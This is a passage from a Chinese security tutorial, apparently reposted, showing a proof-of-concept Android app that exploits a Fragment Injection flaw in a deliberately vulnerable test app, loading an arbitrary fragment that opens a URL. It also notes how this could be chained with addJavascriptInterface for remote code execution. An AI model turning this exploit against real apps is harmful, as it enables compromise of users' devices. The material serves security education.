    package com.example.testpoc4;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.view.View;import android.widget.Button;import android.widget.Toast;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);// 獲取控件idButton button1 = findViewById(R.id.button);// 監(jiān)聽點(diǎn)擊事件button1.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {// 要執(zhí)行的操作Intent intent=new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);//包名 包名+類名(全路徑)intent.setClassName(“ddns.android.vuls”, “ddns.android.vuls.activities.Activity.FragmentActivity”);intent.putExtra(“:android:show_fragment”,”ddns.android.vuls.activities.Activity.TargetFragment”);intent.setData(Uri.parse(“https://orangey.blog.csdn.net”));startActivity(intent);//成功加載任意Fragment攻擊后的提示Toast.makeText(MainActivity.this,”加載任意Fragment攻擊:成功加載Orangey CSDN博客”, Toast.LENGTH_SHORT).show();Log.d(“加載任意Fragment攻擊:”,”成功加載Orangey CSDN博客”);}});}}

    • activity_main.xml 代碼:

    通過Fragment Injection漏洞,TargetFragment已加載惡意URL,如下:

    注:如果Fragment的Webview組件允許webView.addJavascriptInterface漏洞,即可惡意加載惡意JS代碼,代表存在遠(yuǎn)程代碼執(zhí)行漏洞攻擊。這個此處就不再演示了,可以前往之前的WebView的文章查看,攻擊手法差不多,不再重復(fù)講解

    參考鏈接:

    https://segmentfault.com/a/1190000039960026

    https://blog.csdn.net/wuyuxing24/article/details/78698633

    https://blog.csdn.net/L173864930/article/details/17279165

    https://blog.csdn.net/syy0201/article/details/115057633

    https://mp.weixin.qq.com/s/BPYjCz2wlkGOijb-sUcrQg

    https://wooyun.js.org/drops/Fragment Injection漏洞雜談.html

    烏云知識庫文章-Fragment Injection漏洞雜談

    https://wooyun.js.org/drops/Fragment Injection漏洞雜談.html

    https://github.com/DmrfCoder/interview/blob/master/Android/Fragment全解析.md


    你以為你有很多路可以選擇,其實(shí)你只有一條路可以走


    鄭重聲明:本文內(nèi)容及圖片均整理自互聯(lián)網(wǎng),不代表本站立場,版權(quán)歸原作者所有,如有侵權(quán)請聯(lián)系管理員(admin#wlmqw.com)刪除。
    上一篇 2022年9月25日 12:14
    下一篇 2022年9月25日 12:14

    相關(guān)推薦

    聯(lián)系我們

    聯(lián)系郵箱:admin#wlmqw.com
    工作時間:周一至周五,10:30-18:30,節(jié)假日休息